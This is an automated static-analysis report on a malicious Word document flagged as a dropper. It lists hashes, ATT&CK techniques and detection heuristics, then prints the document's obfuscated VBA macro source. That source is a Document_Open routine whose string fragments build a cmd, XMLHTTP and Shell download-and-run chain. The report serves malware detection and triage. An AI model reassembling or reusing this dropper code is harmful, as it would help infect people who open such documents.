Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 770dbeae0293fb59…

MALICIOUS

Office (OLE)

147.5 KB Created: 2017-02-28 03:32:00 Authoring application: Microsoft Office Word First seen: 2017-03-27
MD5: 9d232eaf0ffa2fc919c39a9762f8621f SHA-1: dafd141cbfff07b977213ef3f880352b9ea56b59 SHA-256: 770dbeae0293fb5933217a715546e7fe3a774f37cad0f1f4c22f4b17834bc08a
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file is a malicious OLE document containing VBA macros, specifically a Document_Open macro that attempts to execute shell commands. ClamAV identifies it as Doc.Dropper.Agent-5941674-0, indicating it's a dropper. The presence of obfuscated VBA code and the critical heuristic for potential shell calls strongly suggest it's designed to download and execute a secondary payload, likely delivered as a spearphishing attachment.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-5941674-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-5941674-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    , kimpyptu, oqseqc, jubhoso9, jjypofe, qoxymyc, jefna, dvarzanik, ynxigpid, efasut0, ezmobl1, bypxydza9)
    Shell Join(evixk, ""), ifasanr
    End Sub
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Document_Open()
    Dim dkyty0
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27642 bytes
SHA-256: 5ef4677c2b51cfbc66afcdca51d01d90ed302ccd48f9716875592e3218b10b14
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim dkyty0
Dim kkida4
Dim uxyflok
Dim uxumo0, arcakhano, nlutzaja, qzujubuqw, zjisnyvr, yhfokez, unmodev8, uvqut1, uflah2
Dim ozpul
Dim ejulo, yzimul8, koqgekco, avbam, tarhyq2, ulgijfyq, zojolo, vcyxwecravj, cvamje, gsiqyfly
Dim ijuqv, zylacx8, acytjimgi, dlabeh, bqusy7, djifdi5, mecy3, dysycavd7, fiqhiky, ajrusyfr
Dim yquvi, ygivzy1, zisguqwu5, ulfubumy7, izfumywni8, cife4, inlash, lvywlyvu9, ibyr8, vwydy
Dim dvarzanik, icafva7, zemyq4, ygaqhuz, udepy
Dim xfemmoky5, adkaku8, waxmufy5, wysxy0, oxam4, adcijtu2, azeshiq, mronre7, azymjis1, aras3, dyqzikm
Dim jdobqadx0, bypxydza9, hohyfjyz, pxevytebq4, vlyvly2, otcusuci, ykdic7, ezmobl1
Dim gxegnacfi8
Dim ugewtyfo, edwafs, abyflabe1, rymig7, uknawm, xgubiki, secyfox1, ibase, ubacvowd, obotu1
Dim tesca
Dim gykygn
Dim befhuweq0
Dim ytirsolby
Dim emibp8, qutqebx, tofe, sganegluz, zulsegobw0
Dim aboc
Dim qyjubxi
Dim azufraxr, hugyrnu, yfepax1, ozjet, pasoluk
Dim oslawp8
Dim akezy, czadqeg, cnebitrom2, oluboj, lmersu5, ywpag
Dim vboran, cpapafj4, ypvaza6, efasut0, bewmyqc, lfepkypi, jdyhato, ulmopzajla9, kpacxokqe
Dim yqnuwavgu
Dim pajerpokk7, oxom, txoma, enbazhi0, matahzesr, ahmydnazf5, efveftiqj, ijmolkojl0
Dim yqtujs
Dim zjepno
Dim xytca9
Dim yzciwzo, upfil, edfijher, tixi, buzece, ufnesw9, pynudgum
Dim ihipawva1
Dim wiqhyz, iflic, yzybo2, osimraza, hhumifciv, ywyldo
Dim ylid7, xhymdojpo, jjetxuvern, wixvi0
Dim acaqju
Dim avwifmeffo, xevrycs, grixuftytn, ksojan7, namwelxy0, jefna, nycyjuh, kwapkepq, vcesu, ymmox, tuly9
Dim kanme1, exdung6, mkyslunir5, tursi, yzav
Dim fbegwugre
Dim wiqpuhmez
Dim yhewymo
Dim igbob, cymrih2, obzunus2, mijonxezd, zxiwo, yvxukum, atnerm, yqawnuwi
Dim idenlaldi
Dim sohda
Dim oguzte, ebesm, uzofdado2, ykyphavco, kmydrondo2, kirki6, mcazgajsamr0, dyghojki
Dim hygisnydd
Dim amift
Dim azfumyw0
Dim figjumh0
Dim otuff5
Dim ezraweqti
Dim rkufa0, ybenkybpy5, dqusqa, osganawr, itvolm, yponzys, edobujta
Dim wpoxi, hyhozo6, cycvofbyfq5, ludal, evidazi4, jwadgoze8, vyjhohni0, xybci5, nofyh9, acycxutw
Dim eqcazesi8
Dim ymhasmetw
Dim nyvcigop5
Dim kjavry, qoxymyc, lecko, hnufdu, cqovijja, uwpelqaj, cpife
Dim yveby2
Dim enege
Dim ommozhizfo, xtahvumitd4, awolibl4, ohawew8, pzumtuca4, ilire, uwymko5, acsem2, dadifen, udoscyc, ygecevn
Dim ujybyr2, antojh9, yxyhekdo, tamfatyvr6, gemi, gyxipl9, edumbu7
Dim ulmyv
Dim urofbac4
Dim xfuhyqjyvw7, oxhytg5, uwsaptycu, renxartyp, tgyso3
Dim anaku6, mgufhapsob8, kaghe9, ubnizi2
Dim jhermanc6, wninhyfp, browqum8, apmuk, oxurzutl
Dim rixyvko4, gmuheq, ykzeftuc, ligomi9
Dim ebutk0, ylan, jhisaxki8, ygizqepqy9, verolrybf2, xoxa7, owuwohfy, ryredop, cypyqqo3, ywojw, untoxi3
Dim ibloqrup, biqhir6, ipazum, ibtizybri0, twosdy4, nynrocuk, xzamrydap3, eposza3, xsarer0, zedogqukg
Dim ijin
Dim leqygf, xannuvno0, ingogxo, ajjig, baqo, ymdifvy0, xeppunsudn, nikpixro
Dim hqejqejb, yxlegtuwo6, jyma1, ezumqo, tgafkuluq
Dim xyzicr8
Dim ekukyk5
Dim muswuginh0
Dim gegfuhodj5, orxyryzsa6, uruhkotr9, udcyk3, iqebkezm, fesxilxi6, kvytjobzids4, ligy4, wabgub, ujyzyw, wgyxcypusq2
Dim nimaqyd6, pmahlexj7, gcyrha, kimpyptu, ynxigpid, imilsiha6, hiqywvo7, ehsofsoqy, iwyd8
Dim itak, abafhow8, ilawe, fykfydxahw, oqbefcinhu3, mwebega, ynlekmino0
Dim rlaxamkyzm, utmenkez, lfulxu, rane, obygvibde1, fikomto, kalkecc6, dyka1, cxijbeqdob, fyfigc2
Dim rimjasyq1, ycheklase, rumohhu0, akbogqahl, ikxenbesja9, wipoqjycc7, pabgugox9, dezo7, asfaqecxy0, ityt8
Dim ipezick8
Dim mepusu, uttebq, icuwb0, bilonicx0
Dim hahu5, ivov4, ubykent, fedxu6, itrab6, mymkax5, obebykwe, oswoxf, zavazgo2
Dim pxifcysy5, gonez9, akiji, majabap
Dim dava, nnujundu, ojzokhozfi7, uqypmypg2, ivsusume, lgakehy8, cofore8, amhovo4, enedw5
Dim ucvefi, fqapwazzu0, gaxuxbyq, rpomyhbit5, ynjuzytq3, episk7, dxykhicxe
Dim otmirm
Dim rodaxta8
Dim upfifot, zqotu7, wipsel8, ymykis, ocygzy, ynervaru, cnodpela, efic, zudbe9, ejxyhyh
Dim uxasvovwe
Dim uset0, cqariwvek, mejanr7, vkeluta4
Dim ukaremr9
Dim ozbymdy, lxizirno0, esbizfo6, kezicbedd0, ybyskud8, uzejgapq0
Dim nkaqagbin1, umyme4, ovsuvipj2, dfepgo, icaqunh, xmuccepo, zecy4, pzawje7
Dim ynudn, ozgacy1, aqwyhysv7, jsygwaqim, mibogv2, qurmivk8, athyryqy, xocqok0, ocwisd7
Dim dtogtacg7
Dim igohquvo
Dim esizuju7
Dim erxuda5
Dim upgupebv1
Dim gvoru
Dim bingijkeml
Dim uzilja, ehtiht3, agaph0, yryhi9, ixnaxakke7
Dim imes
Dim araqfy6
Dim otogese, xenanu, yvowamje6, jodupky4, ucityr, hfyfyjr5
Dim ysav2, yjfocari3, bezfopga2, xodozz, acnihpo, jeqoq7
Dim madal9, ugefji6, lmatxahtu0, osotpuzby5, jvulwuht, finli, abyhod
Dim ehvodudxa
Dim rahyjoq6
Dim haxpoxna
Dim vivrubic
Dim sxakolyxc
Dim yrylu, sdyluxi, ajrawe, hamdaqolg, wmavjyxab, axysi
Dim wqasozin8, yfozkalq2, uqupaqqu5, ggetysqa7, opyfk, zqedjaqsa
Dim xfuforpitv, ywisv2, ulyrzon, widemu, rzaszowp4, okaw3, efucbapd, yvem, mxifje5, yzzandohfu
Dim obecuzwe, isyqeqk4, yrezseky2, wamgidkig0, tijqu1, oxywobb5, fletvesorq
Dim avsagdam
Dim ifasanr
Dim hobde3, mworgac, esguv, uztydvogmu, omuzupm9, utkawiqe, icyzg, mpunfipi, vgyrlinm7, afxiqd4
Dim iczezo, wuxojeb1, ohjuvdica, hmyndoxlu1
Dim uxfinm1, lyscuxp7, uqiva, epihloh1
Dim fowalym0, jadzon, onkyhuhcy, donofe3
Dim wlywy7
Dim ohvelin5
Dim fesykak, lyne5, ivoh7, wnepo, qyhda5, xgifpug0, redolol1, mpyxyqcyhp3
Dim kwafsydu6
Dim ycnossucne
Dim zeboz0
Dim okin, legunmasc, pkexyxcon7, dbavozi5, ulwync, mysgulraj1, evywty, vnyvenu
Dim ameze9, scejpozdy5, ucweqywh0, ifdyr7, sickymwy, getbacw, vsaturyr0, bohdiqba, otboxumc, haglitsacd6, izsydowry5
Dim hvuqwajep3, ukecip, ydkibqa9, igcofen3, buqip2, fyktofxuq
Dim dimura7, yhunmy0, upqok6, uxuzgu2
Dim ehbizho1
Dim oqnora9
Dim yftonk, ddabupe5, kmabbeg, ehhos5, rirdemf0, yxegfyru2, xobcemy, zylwydc, tcohbob, bibrew0
Dim mxuxik, umnyzam0, fylwij7, vxebqy3, ajecj, umolebs, eqgafe, dupicb, bqydrejabm, ocasqi3, olhewgu7
Dim ycfumzycri
Dim gety0
Dim oqseqc, enesbuby9, uwan, zyhobi
Dim deslols8, ipebnygxi3, ocvyttis6, ikluzne8, azgupt, ibsidihxa6, rkiwe, wycpet3, utvebno6
Dim iwbejtehjo, aqhiqq, opmapj, agsizo0, ifyjoss9, owojjyq1, uvawi, ifkadf1, yqyctaxby, svyrre, ajolzeb
Dim intod, tvihmi, basage, aflim, wytcywo, sexe, syjusydn0, urpixe2, dgumpunro5, amop2, icible
Dim zazwa
Dim tqejomhez, zvelov, oksymoxq1, jubhoso9, ovoqv5, ofhoc, ejdibomy7, myqpy8, epowsitda5
Dim apgapsez2, wkyly1, zsagqe9, tpatxow4, ufutybt
Dim ekatcuce0, mihmuls, onkanw9, idlekyl, ebjulgucdu9
Dim eraxqegl9, ejokuno, lecsipk, cunde, ohhotq8
Dim bvovigv
Dim osnagywy, ofymr, uqdys1, gpado2, uglugsylu0, tjyzicsy7, orluvykpo8, utxese2, ewabeh0, ykol0, cmepoqoq
Dim uvryda
Dim ejfohhuwli, lonru4, vmagaxs7, zraka, gebibviz6, ynlyn, ecekup2, owebsob3, uqor, ikafih, axsem
Dim muju
Dim azuxevmy0, hlusbokzew, ipynp, zaqihn, gimxosgubx2, wohamsi9, itnuwohna, tiderca
Dim yxygynn
Dim ovnobwiqhe3, unwixe9, qhihufvu6, gwirylq2, axohip6, izwycyw7, zubuvl
Dim hotlydle
Dim esnetv, speca9, fekluqwakx2, hombehilf
Dim jjypofe
Dim cilemr2, owqifasi8, tsycople, refjan, wponpolpux6, gfoxbu7, aguzubjy3, totqeme0, ulfyrpibi, ofwyffexe1
Dim qopik0
Dim jvecidufd, fibtil, evtufim, ukdajqamu8, enlulazxo0, csezqu3
Dim panolci0
Dim tuzo
cxijbeqdob = "orywp"
ipebnygxi3 = "ujory"
ddabupe5 = "joryw"
legunmasc = "laluj"
ocvyttis6 = "ujory"
xoxa7 = "ywpuo"
ynlyn = "joryw"
bibrew0 = "lujor"
uvqut1 = "rywpu"
gegfuhodj5 = "joryw"
dezo7 = "joryw"
ihipawva1 = "puush"
jdobqadx0 = "ywpum"
ymmox = "rywpu"
yqawnuwi = " ""ec^"
xfuforpitv = "eolal"
efucbapd = "XMLHT"
tuly9 = ";olal"
otcusuci = "ujory"
yrezseky2 = "iolal"
onkanw9 = "neola"
pxifcysy5 = "neola"
eqcazesi8 = "laluj"
ksojan7 = "olalu"
okaw3 = "yp = "
tvihmi = "ywpuc"
rumohhu0 = "= nhn"
acytjimgi = "uoryw"
cqovijja = "Namhn"
yfepax1 = "rywpu"
uxumo0 = "hneol"
hhumifciv = "bsywu"
vcyxwecravj = "jqhne"
deslols8 = "ujory"
rzaszowp4 = " 0);a"
hohyfjyz = "_paor"
ydkibqa9 = "orywp"
ibloqrup = "alujo"
avwifmeffo = "puws "
ufutybt = "ushne"
unmodev8 = "puws "
ygaqhuz = "ibojq"
uzejgapq0 = "e(/ol"
zecy4 = "alujo"
uwsaptycu = "ujory"
gonez9 = "uws y"
adcijtu2 = "wpuhn"
cnebitrom2 = " ""e"")"
zedogqukg = "orywp"
kwapkepq = "joryw"
qopik0 = "olalu"
fiqhiky = "llazw"
mworgac = "nctio"
atnerm = "ushne"
ajrawe = " 0;if"
jadzon = "eolal"
pasoluk = ", ""S"""
uruhkotr9 = "wpuco"
ijmolkojl0 = "ywpuw"
ofwyffexe1 = "emuqo"
uset0 = "puXOb"
igohquvo = "alujo"
izwycyw7 = "puhne"
zyhobi = "xkcor"
bewmyqc = "+ ory"
uflah2 = "ywpuo"
yfozkalq2 = "ywpuh"
hombehilf = " = ""M"
matahzesr = "xe /c"
hlusbokzew = "puof "
uxasvovwe = "l.yqb"
edobujta = "joryw"
edumbu7 = "uXObj"
yquvi = "lujor"
esnetv = "ujory"
fylwij7 = "laluj"
ggetysqa7 = "oppix"
bohdiqba = "ion ="
oqseqc = "sAfUB"
yxegfyru2 = "orywp"
totqeme0 = "us =="
wmavjyxab = "alujo"
rirdemf0 = "pum ="
nlutzaja = "wpu"";"
ulfyrpibi = "wpuh)"
ygizqepqy9 = "_paor"
xobcemy = "opory"
uxyflok = "Wyqbi"
ohhotq8 = "ng.Fi"
otuff5 = ".repl"
vkeluta4 = "neola"
mgufhapsob8 = "rywpu"
azymjis1 = "puwsh"
ebjulgucdu9 = "laluj"
gwirylq2 = "lphne"
fqapwazzu0 = "hneol"
ibsidihxa6 = "ujory"
dqusqa = "alujo"
ikafih = "uwshn"
jsygwaqim = "alujo"
efic = "uwsdo"
jvecidufd = "qiboj"
cypyqqo3 = "laluj"
hfyfyjr5 = "neola"
apgapsez2 = "ywpui"
dbavozi5 = "olalu"
ezumqo = ");pqi"
qurmivk8 = "puws("
dkyty0 = "loryw"
upfifot = "ygush"
urpixe2 = "ilcus"
yvowamje6 = "suhuh"
ligy4 = "neola"
ozgacy1 = "lujor"
wnepo = " = ""c"
buqip2 = "olalh"
hvuqwajep3 = "hneol"
vjasva0 = "orywp"
pkexyxcon7 = "rywpu"
zqedjaqsa = "orywp"
rimjasyq1 = "orywp"
athyryqy = "eolal"
ukaremr9 = "ujory"
djifdi5 = "gugfo"
rlaxamkyzm = " ""v"")"
xgifpug0 = ");abo"
akiji = "ujory"
yxlegtuwo6 = "neola"
ajrusyfr = "shneo"
oluboj = "orywp"
xevrycs = "puwsi"
rixyvko4 = "jemo'"
icible = "wpu ="
gpado2 = ".Ophn"
ovoqv5 = "ho^ n"
dupicb = "ywpup"
ibtizybri0 = """ + a"
umyme4 = ";abou"
onkyhuhcy = "byush"
hiqywvo7 = "rywpu"
qyjubxi = "yqbil"
otmirm = "lujor"
panolci0 = "ucory"
umolebs = "alujo"
kimpyptu = "}');>"
rkiwe = " 200)"
yzciwzo = "wpuao"
jeqoq7 = "ujory"
ycfumzycri = "alujo"
ubnizi2 = "joryw"
igcofen3 = "olalu"
pmahlexj7 = "//wou"
ehtiht3 = "neola"
zemyq4 = "puws."
nikpixro = "rywpu"
obotu1 = "zwymg"
upgupebv1 = "hhneo"
ofhoc = "dhneo"
ebutk0 = " {abo"
dyka1 = "ywpuh"
nyvcigop5 = "eplac"
ejokuno = "neola"
afxiqd4 = "ushne"
antojh9 = "joryw"
untoxi3 = "lujor"
uxfinm1 = "Closh"
hotlydle = "(""C"")"
mpyxyqcyhp3 = "orywp"
zavazgo2 = "uolal"
yqtujs = "lace("
fibtil = " ""\\\"
wohamsi9 = "nixy_"
nnujundu = "wpu(p"
uzilja = "orywp"
ekukyk5 = "rywpu"
ynervaru = "eval("
gyxipl9 = "rywpu"
jvulwuht = "orywp"
uqupaqqu5 = "Objhn"
xtahvumitd4 = "ywpu "
haglitsacd6 = "alujo"
wamgidkig0 = "neola"
zsagqe9 = "d();o"
cqariwvek = "laluj"
fyfigc2 = "laush"
rane = "ywpuw"
wytcywo = "orywp"
wabgub = "neola"
dtogtacg7 = "wpu()"
imes = "sipor"
oksymoxq1 = "hneol"
mysgulraj1 = "joryw"
udoscyc = "r""); "
kkida4 = "ujory"
fykfydxahw = "rywpu"
utkawiqe = "laluj"
dadifen = "alujo"
agaph0 = "hneol"
xsarer0 = "ywpuh"
mkyslunir5 = "rywpu"
gvoru = "joryw"
ajjig = "t"").r"
idenlaldi = "pug ="
vyjhohni0 = "lujor"
nkaqagbin1 = "ew Fu"
idlekyl = ");')("
ijin = "pucia"
abyflabe1 = "eolal"
arcakhano = "neola"
vxebqy3 = "rywpu"
itvolm = "hneol"
oxhytg5 = "ToFil"
cymrih2 = "paory"
eraxqegl9 = " = al"
ingogxo = "wpuxh"
sdyluxi = "lcush"
tjyzicsy7 = "olalu"
kaghe9 = "soryw"
ocygzy = "iolal"
amop2 = "Dushn"
iwbejtehjo = "ujory"
zjepno = "uwsyp"
okin = "wpuFi"
ycheklase = "wpump"
azuxevmy0 = "hneol"
otogese = "jhneo"
zqotu7 = "alujo"
ulgijfyq = "eolal"
ajolzeb = "ushne"
jwadgoze8 = "rywpu"
ligomi9 = "azwym"
bingijkeml = "puw u"
ivov4 = "ywpul"
ehvodudxa = "ujory"
namwelxy0 = "s ory"
majabap = "uwshn"
buzece = "ywpuu"
mepusu = "ace(/"
ocasqi3 = "hneol"
basage = "joryw"
araqfy6 = "siory"
axysi = "ymgyg"
ifkadf1 = "rywpu"
unwixe9 = "ace(/"
dysycavd7 = "alujo"
ekatcuce0 = "eolal"
dimura7 = "olalu"
esizuju7 = "orywp"
akbogqahl = "ywpuX"
ozjet = "uhl.R"
hnufdu = "orywp"
speca9 = "hneol"
azufraxr = "jolal"
kvytjobzids4 = "rywpu"
abafhow8 = "wpuco"
oslawp8 = "laluj"
aboc = ".ushn"
zubuvl = "puyqb"
tqejomhez = "rywpu"
uqiva = "puory"
obygvibde1 = "rywpu"
acycxutw = "pu);}"
nofyh9 = "xi);o"
otboxumc = "ng"") "
acsem2 = "FullN"
rkufa0 = "= all"
xodozz = "ull"";"
edfijher = "/c "" "
ommozhizfo = "joryw"
obzunus2 = "ushne"
pzumtuca4 = "eplac"
vcesu = "hneol"
cnodpela = "uyhlh"
yzzandohfu = "hneol"
uzofdado2 = "ygush"
cilemr2 = "A"").r"
syjusydn0 = "ilory"
cycvofbyfq5 = "lujor"
dyqzikm = "puwsh"
uknawm = "puws."
ykol0 = "lujor"
bezfopga2 = "neola"
enedw5 = "ujory"
uqor = "neola"
finli = "neola"
uwymko5 = "pqibo"
ytirsolby = "joryw"
acaqju = "kDODB"
ulwync = "s = n"
aqhiqq = "wpun("
lyscuxp7 = "wsipo"
ovsuvipj2 = "uws u"
sickymwy = "neola"
aguzubjy3 = "olalu"
yhfokez = "ywpux"
anaku6 = "cmd.e"
zisguqwu5 = "eolal"
amhovo4 = "uoryw"
asfaqecxy0 = "e(/yq"
ibase = "neola"
ujybyr2 = "x);ol"
rymig7 = "laluj"
myqpy8 = "orywp"
apmuk = """uhix"
muswuginh0 = "hneol"
ycnossucne = " (hne"
tijqu1 = "neola"
yhewymo = "Objhn"
hobde3 = "hneol"
wycpet3 = "lalau"
vgyrlinm7 = "ku, 0"
oxywobb5 = "uam"";"
ubykent = "lcush"
ecekup2 = "w uhi"
lmersu5 = "joryw"
utxese2 = "laluj"
tesca = "shneo"
episk7 = "eolal"
osotpuzby5 = "lujor"
fekluqwakx2 = "wpuws"
zeboz0 = "alujo"
jhermanc6 = "alujo"
eqgafe = "ujory"
ixnaxakke7 = "nhneo"
zaqihn = "rywpu"
txoma = "qbily"
ivoh7 = "joryw"
owqifasi8 = "laluj"
leqygf = "wpuws"
yhunmy0 = "laluj"
utvebno6 = "neola"
ykdic7 = ");ula"
wpoxi = "amhne"
czadqeg = "uolal"
obebykwe = "puyhl"
ylid7 = "u"");o"
lmatxahtu0 = "ywpuc"
iczezo = "sx = "
mijonxezd = "uyqbi"
yponzys = "alujo"
scejpozdy5 = "wpuhn"
vsaturyr0 = "uwshn"
cpapafj4 = "usews"
svyrre = "neola"
gebibviz6 = "orywp"
ezraweqti = "ulhne"
oguzte = "ywpui"
wninhyfp = "uiola"
ewabeh0 = "abous"
ugefji6 = "laluj"
pajerpokk7 = "lujor"
xybci5 = "ykyol"
vivrubic = "lujor"
umnyzam0 = "hneol"
jjypofe = "&^C^s"
ohvelin5 = ".yqbi"
yryhi9 = "wsipo"
gsiqyfly = "olalu"
hahu5 = """;ola"
yvxukum = "(oryw"
tuzo = "ws.gh"
fbegwugre = "hneol"
rahyjoq6 = "puiol"
uztydvogmu = "'olal"
lxizirno0 = "olalu"
figjumh0 = "rywpu"
lyne5 = "bilcu"
qzujubuqw = "olal,"
ryredop = "shneo"
yzimul8 = "ujory"
imilsiha6 = "neola"
zylacx8 = "lujor"
azfumyw0 = ".Filh"
zvelov = "rywpu"
sexe = "neola"
twosdy4 = "neola"
efveftiqj = "soryw"
kirki6 = "hl.sh"
itnuwohna = "pu (h"
xfemmoky5 = "aolal"
tgyso3 = "ujory"
udepy = "ywpun"
oxam4 = "eolal"
opmapj = "pump_"
jhisaxki8 = "bojqh"
mcazgajsamr0 = "olalu"
tamfatyvr6 = "rywpu"
dxykhicxe = "eolal"
nynrocuk = "eolal"
gxegnacfi8 = " ykyo"
enbazhi0 = "ing.F"
grixuftytn = "xkcor"
befhuweq0 = "w uhi"
ohjuvdica = "uws h"
pabgugox9 = "ushne"
widemu = "lujor"
axohip6 = "shneo"
ucweqywh0 = "orywp"
pzawje7 = "{olal"
ymhasmetw = "yqbil"
dfepgo = "wpug."
ifyjoss9 = "lujor"
wipsel8 = "qhneo"
ykzeftuc = "zolal"
efasut0 = " SaFu"
ulmyv = ".repl"
nimaqyd6 = "olalh"
orxyryzsa6 = "laluj"
xfuhyqjyvw7 = "rywpu"
ityt8 = "TP"";o"
agsizo0 = "ywpuh"
omuzupm9 = "lFold"
madal9 = "ywpu "
mymkax5 = "lujor"
xmuccepo = "pudgu"
lonru4 = "ixkco"
bqydrejabm = "ilyso"
mronre7 = "alujo"
oqbefcinhu3 = "uhixk"
xzamrydap3 = "lujor"
ygecevn = "shneo"
wiqhyz = "orywp"
ejxyhyh = "hneol"
ohawew8 = " alla"
ysav2 = "xm = "
xannuvno0 = "neola"
yzybo2 = "rywpu"
mpunfipi = "spons"
cunde = "lujor"
rpomyhbit5 = "rywpu"
kmabbeg = "joryw"
ilawe = "shneo"
fesykak = "eolal"
ovnobwiqhe3 = "r zje"
sxakolyxc = "alujo"
hugyrnu = "s ynf"
jyma1 = "ywpuw"
xhymdojpo = "eolal"
cmepoqoq = "orywp"
hygisnydd = ");ola"
vwydy = "olalu"
tsycople = "neola"
qutqebx = ", 'va"
yqyctaxby = "laluj"
ifdyr7 = "ymgyg"
sganegluz = "s = n"
xgubiki = "laluj"
eposza3 = "lhneo"
owojjyq1 = """, am"
refjan = "joryw"
isyqeqk4 = "olalu"
ulfubumy7 = " 1;pq"
oqnora9 = "uws u"
osimraza = "\\\\\"
xocqok0 = "lujor"
edwafs = "lujor"
lfulxu = "ujory"
wiqpuhmez = ";abou"
upfil = "ywpun"
nycyjuh = "ce(/o"
itak = "wushn"
waxmufy5 = "neola"
ejdibomy7 = "lujor"
aflim = "rywpu"
ulmopzajla9 = "hneol"
yrylu = "lujor"
ludal = "ilcus"
azeshiq = " nhne"
opyfk = "md.hn"
zylwydc = "lujor"
olhewgu7 = "lujor"
kezicbedd0 = "rywpu"
icuwb0 = "/emuq"
bqusy7 = "ywpuw"
wgyxcypusq2 = "wpuub"
ojzokhozfi7 = "mObjh"
ozbymdy = "olalu"
wlywy7 = "lujor"
ejfohhuwli = "wpug."
enlulazxo0 = "puThn"
ynlekmino0 = "ywpu."
oxom = "alaus"
ilire = "eolal"
ygivzy1 = "ujory"
yxygynn = "ywpui"
ufnesw9 = "neola"
ywyldo = "orywp"
wipoqjycc7 = "shneo"
ibyr8 = "joryw"
tarhyq2 = "ywpuX"
uwan = "orywp"
vnyvenu = "Objhn"
amift = "lalau"
wuxojeb1 = "wpu ("
ehbizho1 = "shneo"
cvamje = "hneol"
ozpul = "olala"
koqgekco = "o/g, "
ybenkybpy5 = "puxhn"
yjfocari3 = "rywpu"
qoxymyc = "C^rip"
gaxuxbyq = "uymuz"
mejanr7 = "mo = "
ipezick8 = "hneol"
itrab6 = "orywp"
uxuzgu2 = "olalu"
ajecj = "neola"
utmenkez = "ywpuw"
ynxigpid = "/b^  "
gfoxbu7 = "al/g,"
gcyrha = " (pqi"
mibogv2 = "lujor"
wysxy0 = "aushn"
icyzg = "shneo"
udcyk3 = "ywpuw"
dlabeh = "ws am"
biqhir6 = "orywp"
cofore8 = ";abou"
xyzicr8 = "rywpu"
ucvefi = "uyqbi"
zxiwo = "hixkc"
dyghojki = "llazw"
avsagdam = "puws "
icaqunh = "olalu"
ezmobl1 = "BZ.JS"
jodupky4 = ";abou"
yftonk = "rywpu"
iwyd8 = "eolal"
muju = "ujory"
sohda = "orywp"
epowsitda5 = "neola"
ivsusume = ".repl"
fedxu6 = "wpuso"
oswoxf = "wpug."
esbizfo6 = "laluj"
getbacw = "wpuor"
ehsofsoqy = "ywpu("
ymykis = "shneo"
donofe3 = " alla"
enesbuby9 = """hory"
ubacvowd = "u (yn"
emibp8 = "alujo"
zjisnyvr = "/g, """
kanme1 = "ffich"
ywpag = "puymu"
kjavry = """yqbi"
bypxydza9 = "e"""
mwebega = "shneo"
enege = "eolal"
hmyndoxlu1 = "u(Wyq"
ypvaza6 = "un(ys"
yzav = "olal)"
kalkecc6 = "lujor"
erxuda5 = "aushn"
lfepkypi = "olala"
upqok6 = "sipor"
ahmydnazf5 = "puhl "
intod = "lalau"
vboran = "zjemo"
ikluzne8 = "lujor"
yvem = "eolal"
haxpoxna = "u.yqb"
ynjuzytq3 = "laush"
obecuzwe = "shneo"
wkyly1 = "olalu"
browqum8 = "olalu"
mxifje5 = "lazwy"
cpife = "ywpuy"
adkaku8 = "wshne"
ocwisd7 = "rywpu"
zraka = "uw uh"
ykyphavco = "joryw"
abyhod = "uws.G"
qyhda5 = "/g, """
dgumpunro5 = "/1huh"
cife4 = "c.hne"
ulyrzon = "ywpu1"
hqejqejb = "ace(/"
tcohbob = "uhixk"
ukdajqamu8 = "ushne"
gmuheq = "uwshn"
ugewtyfo = "gfoxm"
urofbac4 = "ywpug"
ehhos5 = "laljy"
mxuxik = "ywpuw"
oxurzutl = "i = """
fowalym0 = "zjemo"
osganawr = "joryw"
inlash = "ujory"
lecsipk = "coryw"
vlyvly2 = "eolal"
owebsob3 = "ilhne"
osnagywy = "lopor"
uwpelqaj = "rywpu"
evywty = "eolal"
hamdaqolg = "rywpu"
ikxenbesja9 = "gygus"
izfumywni8 = "bil/g"
tpatxow4 = "coryw"
uvryda = "olalu"
evtufim = "hneol"
igbob = "bojqh"
fletvesorq = "olalu"
epihloh1 = "Ghneo"
verolrybf2 = "aljyj"
rodaxta8 = "XObjh"
wponpolpux6 = "uwsip"
xeppunsudn = "l.oph"
jubhoso9 = "z.JSE"
lecko = "eolal"
tiderca = "foppi"
vmagaxs7 = "lujor"
orluvykpo8 = "wpuw "
hyhozo6 = "wpug."
yqnuwavgu = "ku = "
ymdifvy0 = "laluj"
pxevytebq4 = "Body)"
fesxilxi6 = "lujor"
jjetxuvern = "mgygu"
ejulo = "ywpud"
uglugsylu0 = "yphne"
tursi = "orywp"
awolibl4 = "ywpug"
jdyhato = "olalu"
exdung6 = ").rep"
pynudgum = "lhneo"
esguv = "hnevu"
ywojw = "wpump"
xenanu = "zwymg"
avbam = "lalau"
ukecip = "Posio"
fikomto = "ujory"
redolol1 = "jt/g,"
ynudn = "ujory"
baqo = "orywp"
lgakehy8 = "rywpu"
uttebq = "alujo"
xytca9 = "laluj"
acnihpo = "lysor"
owuwohfy = "laluj"
iflic = "ywpuw"
wixvi0 = "n ('z"
bvovigv = "ushne"
uqypmypg2 = "XML2."
zulsegobw0 = "orywp"
ifasanr = False
renxartyp = "ujory"
ipazum = "iolal"
lvywlyvu9 = "wpuws"
tgafkuluq = "wpuco"
kpacxokqe = "(""GET"
evidazi4 = "/g, """
